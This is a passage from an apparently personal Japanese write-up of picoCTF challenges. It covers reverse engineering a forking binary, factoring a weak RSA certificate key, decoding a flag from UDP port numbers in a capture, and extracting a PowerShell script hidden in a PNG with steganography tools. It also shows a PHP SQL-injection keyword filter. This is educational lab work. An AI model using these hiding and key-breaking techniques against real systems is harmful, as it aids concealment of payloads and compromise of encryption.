Warning: <FILE>" to save to a file.
curl -i http://mercury.picoctf.net:8650/filter.php -H "Cookie: PHPSESSID=tfnn4980lb5676c4aspcpqfmue"
$ curl -i http://mercury.picoctf.net:8650/filter.php -H "Cookie: PHPSESSID=tfnn4980lb5676c4aspcpqfmue"
HTTP/1.1 200 OK
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-type: text/html; charset=UTF-8
<code><span style="color: #000000">
<span style="color: #0000BB"><?php<br />session_start</span><span style="color: #007700">();<br /><br />if (!isset(</span><span style="color: #0000BB">$_SESSION</span><span style="color: #007700">[</span><span style="color: #DD0000">"winner3"</span><span style="color: #007700">])) {<br /> </span><span style="color: #0000BB">$_SESSION</span><span style="color: #007700">[</span><span style="color: #DD0000">"winner3"</span><span style="color: #007700">] = </span><span style="color: #0000BB">0</span><span style="color: #007700">;<br />}<br /></span><span style="color: #0000BB">$win </span><span style="color: #007700">= </span><span style="color: #0000BB">$_SESSION</span><span style="color: #007700">[</span><span style="color: #DD0000">"winner3"</span><span style="color: #007700">];<br /></span><span style="color: #0000BB">$view </span><span style="color: #007700">= (</span><span style="color: #0000BB">$_SERVER</span><span style="color: #007700">[</span><span style="color: #DD0000">"PHP_SELF"</span><span style="color: #007700">] == </span><span style="color: #DD0000">"/filter.php"</span><span style="color: #007700">);<br /><br />if (</span><span style="color: #0000BB">$win </span><span style="color: #007700">=== </span><span style="color: #0000BB">0</span><span style="color: #007700">) {<br /> </span><span style="color: #0000BB">$filter </span><span style="color: #007700">= array(</span><span style="color: #DD0000">"or"</span><span style="color: #007700">, </span><span style="color: #DD0000">"and"</span><span style="color: #007700">, </span><span style="color: #DD0000">"true"</span><span style="color: #007700">, </span><span style="color: #DD0000">"false"</span><span style="color: #007700">, </span><span style="color: #DD0000">"union"</span><span style="color: #007700">, </span><span style="color: #DD0000">"like"</span><span style="color: #007700">, </span><span style="color: #DD0000">"="</span><span style="color: #007700">, </span><span style="color: #DD0000">">"</span><span style="color: #007700">, </span><span style="color: #DD0000">"<"</span><span style="color: #007700">, </span><span style="color: #DD0000">";"</span><span style="color: #007700">, </span><span style="color: #DD0000">"--"</span><span style="color: #007700">, </span><span style="color: #DD0000">"/*"</span><span style="color: #007700">, </span><span style="color: #DD0000">"*/"</span><span style="color: #007700">, </span><span style="color: #DD0000">"admin"</span><span style="color: #007700">);<br /> if (</span><span style="color: #0000BB">$view</span><span style="color: #007700">) {<br /> echo </span><span style="color: #DD0000">"Filters: "</span><span style="color: #007700">.</span><span style="color: #0000BB">implode</span><span style="color: #007700">(</span><span style="color: #DD0000">" "</span><span style="color: #007700">, </span><span style="color: #0000BB">$filter</span><span style="color: #007700">).</span><span style="color: #DD0000">"<br/>"</span><span style="color: #007700">;<br /> }<br />} else if (</span><span style="color: #0000BB">$win </span><span style="color: #007700">=== </span><span style="color: #0000BB">1</span><span style="color: #007700">) {<br /> if (</span><span style="color: #0000BB">$view</span><span style="color: #007700">) {<br /> </span><span style="color: #0000BB">highlight_file</span><span style="color: #007700">(</span><span style="color: #DD0000">"filter.php"</span><span style="color: #007700">);<br /> }<br /> </span><span style="color: #0000BB">$_SESSION</span><span style="color: #007700">[</span><span style="color: #DD0000">"winner3"</span><span style="color: #007700">] = </span><span style="color: #0000BB">0</span><span style="color: #007700">; </span><span style="color: #FF8000">// <- Don't refresh!<br /></span><span style="color: #007700">} else {<br /> </span><span style="color: #0000BB">$_SESSION</span><span style="color: #007700">[</span><span style="color: #DD0000">"winner3"</span><span style="color: #007700">] = </span><span style="color: #0000BB">0</span><span style="color: #007700">;<br />}<br /><br /></span><span style="color: #FF8000">// picoCTF{k3ep_1t_sh0rt_6fdd78c92c7f26a10acd3ece17<REDACTED>}<br /></span><span style="color: #0000BB">?><br /></span>
</span>
</code>
Forky (500points)
32ビットのELFファイルvuln
を解析してフラグを取得する問題。
プログラムを実行した際に、doNothing
関数に引数として渡される最後の整数を答えよとのこと。
vuln
をchecksecで確認したところ、PIEが有効化されていた。
$ sudo checksec.sh --file=vuln
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 69 Symbols No 0 0 vuln
とりあえずvuln
を実行してみたが、特に目ぼしい挙動は見当たらなかった。
$ ./vuln
$
続いてltraceにかけてみた。fork
が4回呼び出されているのが確認できた。
$ ltrace -i ./vuln
[0x56555441] __libc_start_main(0x56555566, 1, 0xffffd184, 0x56555600 <unfinished ...>
[0x565555a7] mmap(0, 4, 3, 33) = 0xf7fd9000
[0x565555bb] fork() = 59129
[0x565555c0] fork() = 59130
[0x565555c5] fork() = 59131
[0x565555ca] fork() = 59132
[0xffffffffffffffff] +++ exited (status 0) +++
vuln
をIDAで眺めてみた。以下はmain
関数の逆アセンブルである。
.text:00000566 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:00000566 public main
.text:00000566 main proc near
.text:00000566
.text:00000566 var_14= dword ptr -14h
.text:00000566 var_10= dword ptr -10h
.text:00000566 var_C= dword ptr -0Ch
.text:00000566 argc= dword ptr 8
.text:00000566 argv= dword ptr 0Ch
.text:00000566 envp= dword ptr 10h
.text:00000566
.text:00000566 8D 4C 24 04 lea ecx, [esp+4]
.text:0000056A 83 E4 F0 and esp, 0FFFFFFF0h
.text:0000056D FF 71 FC push dword ptr [ecx-4]
.text:00000570 55 push ebp
.text:00000571 89 E5 mov ebp, esp
.text:00000573 53 push ebx
.text:00000574 51 push ecx
.text:00000575 83 EC 10 sub esp, 10h
.text:00000578 E8 D3 FE FF FF call __x86_get_pc_thunk_bx
.text:0000057D 81 C3 57 1A 00 00 add ebx, (offset _GLOBAL_OFFSET_TABLE_ - $)
.text:00000583 C7 45 EC 03 00 00 00 mov [ebp+var_14], 3
.text:0000058A C7 45 F0 21 00 00 00 mov [ebp+var_10], 21h ; '!'
.text:00000591 83 EC 08 sub esp, 8
.text:00000594 6A 00 push 0 ; offset
.text:00000596 6A FF push 0FFFFFFFFh ; file descriptor
.text:00000598 FF 75 F0 push [ebp+var_10] ; flags
.text:0000059B FF 75 EC push [ebp+var_14] ; protect
.text:0000059E 6A 04 push 4 ; length
.text:000005A0 6A 00 push 0 ; address
.text:000005A2 E8 29 FE FF FF call _mmap
.text:000005A7 83 C4 20 add esp, 20h
.text:000005AA 89 45 F4 mov [ebp+var_C], eax
.text:000005AD 8B 45 F4 mov eax, [ebp+var_C]
.text:000005B0 C7 00 00 CA 9A 3B mov dword ptr [eax], 3B9ACA00h
.text:000005B6 E8 35 FE FF FF call _fork
.text:000005BB E8 30 FE FF FF call _fork
.text:000005C0 E8 2B FE FF FF call _fork
.text:000005C5 E8 26 FE FF FF call _fork ; the child and parent will execute every line of code after the fork (each separately)
.text:000005CA 8B 45 F4 mov eax, [ebp+var_C]
.text:000005CD 8B 00 mov eax, [eax]
.text:000005CF 8D 90 D2 02 96 49 lea edx, [eax+499602D2h]
.text:000005D5 8B 45 F4 mov eax, [ebp+var_C]
.text:000005D8 89 10 mov [eax], edx
.text:000005DA 8B 45 F4 mov eax, [ebp+var_C]
.text:000005DD 8B 00 mov eax, [eax]
.text:000005DF 83 EC 0C sub esp, 0Ch
.text:000005E2 50 push eax
.text:000005E3 E8 65 FF FF FF call doNothing
.text:000005E8 83 C4 10 add esp, 10h
.text:000005EB B8 00 00 00 00 mov eax, 0
.text:000005F0 8D 65 F8 lea esp, [ebp-8]
.text:000005F3 59 pop ecx
.text:000005F4 5B pop ebx
.text:000005F5 5D pop ebp
.text:000005F6 8D 61 FC lea esp, [ecx-4]
.text:000005F9 C3 retn
.text:000005F9 main endp
.text:000005F9
さらに以下はmain
関数をGhidraでデコンパイルしたものである。
undefined4 main(void)
{
int *piVar1;
piVar1 = (int *)mmap((void *)0x0,4,3,0x21,-1,0);
*piVar1 = 1000000000;
fork();
fork();
fork();
fork();
*piVar1 = *piVar1 + 0x499602d2;
doNothing(*piVar1);
return 0;
}
プログラムの流れは以下の通り。
- 変数を
1000000000
で初期化する。 fork
を4回呼び出す。- 変数に
0x499602d2
を加算する。 doNothing
関数に変数を引数として渡して実行する。
doNothing
関数は名前の通り、何もしない関数である。
void doNothing(void)
{
return;
}
大して複雑なプログラムではないので、上記のコードをPythonに書き換えて実行すれば解けるだろうと考え、以下のPythonスクリプトを書いた。
import os
def doNothing(num):
return num
num = 1000000000
os.fork()
os.fork()
os.fork()
os.fork()
num = num + 0x499602d2
print(doNothing(num))
以下は実行結果。
$ python3 myforky.py
2234567890
2234567890
2234567890
2234567890
2234567890
2234567890
2234567890
2234567890
2234567890
2234567890
2234567890
2234567890
2234567890
2234567890
2234567890
2234567890
しかし、2234567890
は正しい答えではなかった。
改めて元のコードを見てみると、変数はint型のポインタであることに気が付いた。
piVar1 = (int *)mmap((void *)0x0,4,3,0x21,-1,0);
*piVar1 = 1000000000;
なのでPythonを使うのはやめて、以下のCプログラムを用意した。(ほぼGhidraのデコンパイルコードのコピペ)
#include <stdio.h>
int main(void)
{
int *piVar1;
piVar1 = (int *)mmap((void *)0x0,4,3,0x21,-1,0);
*piVar1 = 1000000000;
fork();
fork();
fork();
fork();
*piVar1 = *piVar1 + 0x499602d2;
printf("%d\n", *piVar1);
return 0;
}
上記のコードをコンパイルして実行。
gcc myforky.c -o myforky -fno-pie -fno-stack-protector -m32
$ ./myforky
-825831516
408736374
1643304264
-1417095142
-2060399406
$ -182527252
1052040638
460777012
-2008358768
-773790878
1695344902
-1365054504
-130486614
1104081276
-1956318130
-721750240
答えは-721750240
だった。
john_pollard (500points)
RSAの証明書を解析してフラグを取得する問題。
以下のPEM形式のRSA証明書を渡された。
-----BEGIN CERTIFICATE-----
MIIB6zCB1AICMDkwDQYJKoZIhvcNAQECBQAwEjEQMA4GA1UEAxMHUGljb0NURjAe
Fw0xOTA3MDgwNzIxMThaFw0xOTA2MjYxNzM0MzhaMGcxEDAOBgNVBAsTB1BpY29D
VEYxEDAOBgNVBAoTB1BpY29DVEYxEDAOBgNVBAcTB1BpY29DVEYxEDAOBgNVBAgT
B1BpY29DVEYxCzAJBgNVBAYTAlVTMRAwDgYDVQQDEwdQaWNvQ1RGMCIwDQYJKoZI
hvcNAQEBBQADEQAwDgIHEaTUUhKxfwIDAQABMA0GCSqGSIb3DQEBAgUAA4IBAQAH
al1hMsGeBb3rd/Oq+7uDguueopOvDC864hrpdGubgtjv/hrIsph7FtxM2B4rkkyA
eIV708y31HIplCLruxFdspqvfGvLsCynkYfsY70i6I/dOA6l4Qq/NdmkPDx7edqO
T/zK4jhnRafebqJucXFH8Ak+G6ASNRWhKfFZJTWj5CoyTMIutLU9lDiTXng3rDU1
BhXg04ei1jvAf0UrtpeOA6jUyeCLaKDFRbrOm35xI79r28yO8ng1UAzTRclvkORt
b8LMxw7e+vdIntBGqf7T25PLn/MycGPPvNXyIsTzvvY/MXXJHnAqpI5DlqwzbRHz
q16/S1WLvzg4PsElmv1f
-----END CERTIFICATE-----
以下はCyberChefのParse X.509 certificate (Input format: PEM)を使用して上記の証明書をパースしたもの。
Version: 1 (0x00)
Serial number: 12345 (0x3039)
Algorithm ID: MD2withRSA
Validity
Not Before: 08/07/2019 07:21:18 (dd-mm-yyyy hh:mm:ss) (190708072118Z)
Not After: 26/06/2019 17:34:38 (dd-mm-yyyy hh:mm:ss) (190626173438Z)
Issuer
CN = PicoCTF
Subject
OU = PicoCTF
O = PicoCTF
L = PicoCTF
ST = PicoCTF
C = US
CN = PicoCTF
Public Key
Algorithm: RSA
Length: 53 bits
Modulus: 11:a4:d4:52:12:b1:7f
Exponent: 65537 (0x10001)
Certificate Signature
Algorithm: MD2withRSA
Signature: 07:6a:5d:61:32:c1:9e:05:bd:eb:77:f3:aa:fb:bb:83:
82:eb:9e:a2:93:af:0c:2f:3a:e2:1a:e9:74:6b:9b:82:
d8:ef:fe:1a:c8:b2:98:7b:16:dc:4c:d8:1e:2b:92:4c:
80:78:85:7b:d3:cc:b7:d4:72:29:94:22:eb:bb:11:5d:
b2:9a:af:7c:6b:cb:b0:2c:a7:91:87:ec:63:bd:22:e8:
8f:dd:38:0e:a5:e1:0a:bf:35:d9:a4:3c:3c:7b:79:da:
8e:4f:fc:ca:e2:38:67:45:a7:de:6e:a2:6e:71:71:47:
f0:09:3e:1b:a0:12:35:15:a1:29:f1:59:25:35:a3:e4:
2a:32:4c:c2:2e:b4:b5:3d:94:38:93:5e:78:37:ac:35:
35:06:15:e0:d3:87:a2:d6:3b:c0:7f:45:2b:b6:97:8e:
03:a8:d4:c9:e0:8b:68:a0:c5:45:ba:ce:9b:7e:71:23:
bf:6b:db:cc:8e:f2:78:35:50:0c:d3:45:c9:6f:90:e4:
6d:6f:c2:cc:c7:0e:de:fa:f7:48:9e:d0:46:a9:fe:d3:
db:93:cb:9f:f3:32:70:63:cf:bc:d5:f2:22:c4:f3:be:
f6:3f:31:75:c9:1e:70:2a:a4:8e:43:96:ac:33:6d:11:
f3:ab:5e:bf:4b:55:8b:bf:38:38:3e:c1:25:9a:fd:5f
Extensions
ModulusはRSA暗号におけるN
の値を表している。N
の値は4966306421059967
である。
>>> 0x11a4d45212b17f
4966306421059967
ExponentはE
の値を表している。E
の値は65537
である。
こちらのサイトでN
の値4966306421059967
を素因数分解してp
とq
の値を求めた。
結果、p
の値は73176001
、q
の値は67867967
と判明した。
続いて、こちらのサイトにN
、E
、p
、q
の値を入力してD
の値を求めた。
D
の値は3627069957225473
だった。
N | 4966306421059967 |
E | 65537 |
p | 73176001 |
q | 67867967 |
D | 3627069957225473 |
必要な値は全て手に入ったが、ここからどうフラグを求めるのかが分からなかった。渡されたのはRSAの証明書のみで、復号するべき暗号文などは特にない。
ヒントを見てみた。以下、ヒント。
The flag is in the format picoCTF{p,q}
p
とq
の値を送ればいいらしい。
フラグはpicoCTF{73176001,67867967}
だった。
shark on wire 2 (300points)
PCAPファイル capture.pcap
を解析してフラグを取得する問題。
結論から言うと、自力では解けなかった。
このPCAPファイルには複数の囮のフラグがちりばめられており、自分はそれにまんまとハメられてしまった。
UDPの8888番ポート宛の通信が怪しいと睨んで、この通信からどうにかフラグを復元しようと四苦八苦していたのだが、どう頑張ってもフラグを取れなかった。
ヒントを求めて、他所のwriteupをチラ見したところ、「(パケットの)ボディ部分にはフラグはない。それ以外の部分に注目してみろ」との一文が目についた。
ヒントに従って改めてPCAPを眺めたところ、ようやく正解にたどり着いた。
wiresharkでUDPの22番ポート宛の通信をフィルターしてみた (udp.port == 22
)。
すると、送信元のポート番号がフラグを表していることに気が付いた。
送信元のポート番号はすべて5000番台なのだが、下3桁をASCII変換するとフラグになった。
5112 -> 112 -> p
以下のtsharkコマンドで送信元のポート番号を抽出。
tshark -r $PCAP -Y "udp.port == 22" -T fields -e udp.srcport
$ PCAP=capture.pcap
$ tshark -r $PCAP -Y "udp.port == 22" -T fields -e udp.srcport
5000
5112
5105
5099
5111
5067
5084
5070
5123
5112
5049
5076
5076
5102
5051
5114
5051
5100
5095
5100
5097
5116
5097
5095
5118
5049
5097
5095
5115
5116
5051
5103
5048
5125
5000
以下のPythonスクリプトで、送信元のポート番号の下3桁をASCII変換してフラグを取得した。
encoded_flags = ['112','105','099','111','067','084','070','123','112','049','076','076','102','051','114','051','100','095','100','097','116','097','095','118','049','097','095','115','116','051','103','048','125']
flag = ''
for i in encoded_flags:
flag += chr(int(i))
print(flag)
$ python3 flag-decoder.py
picoCTF{p1LLf3r3d_data_v1a_<DEDACTED>}
Very very very Hidden (300points)
PCAPファイルtry_me.pcap
を解析してフラグを取得する問題。
WiresharkでPCAPを眺めたところ、以下の2つのHTTPリクエストを発見。
GET /NothingSus/duck.png HTTP/1.1
Host: ec2-54-147-39-126.compute-1.amazonaws.com
Connection: keep-alive
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
GET /NothingSus/evil_duck.png HTTP/1.1
Host: ec2-54-147-39-126.compute-1.amazonaws.com
Connection: keep-alive
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
duck.png
とevil_duck.png
というPNGの画像ファイルをダウンロードしているようだったので、抽出してみた。
$ ls -lh
total 3.7M
-rwxrwxrwx 1 forensics forensics 0 May 16 2023 %5c
-rwxrwxrwx 1 forensics forensics 6 May 16 2023 NothingSus
-rwxrwxrwx 1 forensics forensics 1.3M May 16 2023 duck.png
-rwxrwxrwx 1 forensics forensics 2.4M May 16 2023 evil_duck.png
-rwxrwxrwx 1 forensics forensics 196 May 16 2023 favicon.ico
duck.png
とevil_duck.png
は、ぱっと見、同一のPNG画像ファイルのなのだが、evil_duck.png
のファイルサイズはduck.png
の2倍近くあった。
それぞれの画像ファイルをexiftool、binwalk、steghide、stegsolveで調べてみたが、特にこれと言った発見はなかった。
ヒントを見てた。
I believe you found something, but are there any more subtle hints as random queries?
The flag will only be found once you reverse the hidden message.
PCAPを眺めていて、ほかに気になった点と言えば、PowerShellに関するパケットがチラホラ見受けられたことだった。
powershell.fios-router.home
やpowershell.local
というドメインの名前解決要求を送っていたり、powershell.org
へHTTPリクエストを送っていたり。
GET / HTTP/1.1
Host: powershell.org
Connection: keep-alive
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
HTTP/1.1 301 Moved Permanently
Date: Sun, 24 Jan 2021 23:55:02 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Cache-Control: max-age=3600
Expires: Mon, 25 Jan 2021 00:55:02 GMT
Location: https://powershell.org/
cf-request-id: 07d86b9ec10000f0ea34322000000001
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=ELOu0tEaWLx24EBcHYKNZW9phLwKCnd76o%2BK46lfooraLRhijEOd3eTMTm1dzBpmOUQwc7r%2BOJrCW4zCEoV77N16I0Sh35UF01rZGxmsJg%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"max_age":604800,"report_to":"cf-nel"}
Vary: Accept-Encoding
Server: cloudflare
CF-RAY: 616daede0b4cf0ea-IAD
0
レスポンスのReport-To
ヘッダーに含まれていたURLをデコードしてみたが、意味のあるデータに復号されなかった。
このあたりで行き詰ったので、手掛かりを求めて他所のwriteupを覗いてみた。すると、「PowerShell steganography」というキーワードを見つけたので、こちらのキーワードをググってみた。
するとInvoke-PSImageというPowerShellスクリプトにたどり着いた。どうやら本チャレンジは、このスクリプトを利用してevil_duck.png
になんらかのPowerShellスクリプトを埋め込んでいるっぽい。
さらにググったところ、Extract-PSImageというPowerShellスクリプトを発見した。
このスクリプトを使えばevil_duck.png
に埋め込まれたPowerShellスクリプトを抽出できそうである。
スクリプトをダウンロードして実行してみた。
> Import-Module .\Extract-Invoke-PSImage.ps1
> Extract-Invoke-PSImage -Image .\evil_duck.png -Out out.ps1
[Oneliner to extract embedded payload]
sal a New-Object;Add-Type -AssemblyName "System.Drawing";$g=a System.Drawing.Bitmap("C:\Users\analyst\Desktop\Very-very-very-Hidden\HTTP-export\evil_duck.png");$o=a Byte[] 1490837;(0..811)|%{foreach($x in(0..1222)){$p=$g.GetPixel($x,$_);$o[$_*1223+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};$g.Dispose();[System.Text.Encoding]::ASCII.GetString($o[0..1490831])|Out-File $Out
[First 50 characters of extracted payload]
$out = "flag.txt"
$enc = [system.Text.Encoding]::
以下は、抽出されたPowerShellスクリプトである。
$out = "flag.txt"
$enc = [system.Text.Encoding]::UTF8
$string1 = "HEYWherE(IS_tNE)50uP?^DId_YOu(]E@t*mY_3RD()B2g3l?"
$string2 = "8,:8+14>Fx0l+$*KjVD>[o*.;+1|*[n&2G^201l&,Mv+_'T_B"
$data1 = $enc.GetBytes($string1)
$bytes = $enc.GetBytes($string2)
for($i=0; $i -lt $bytes.count ; $i++)
{
$bytes[$i] = $bytes[$i] -bxor $data1[$i]
}
[System.IO.File]::WriteAllBytes("$out", $bytes)
HEYWherE(IS_tNE)50uP?^DId_YOu(]E@t*mY_3RD()B2g3l?
と8,:8+14>Fx0l+$*KjVD>[o*.;+1|*[n&2G^201l&,Mv+_'T_B
という文字列をXORしてflag.txt
に書き込む模様。
CyberChefのXORを利用してフラグを復号できた。
picoCTF{n1c3_job_f1nd1ng_th3_s3cr3t_in_the_<REDACTED>}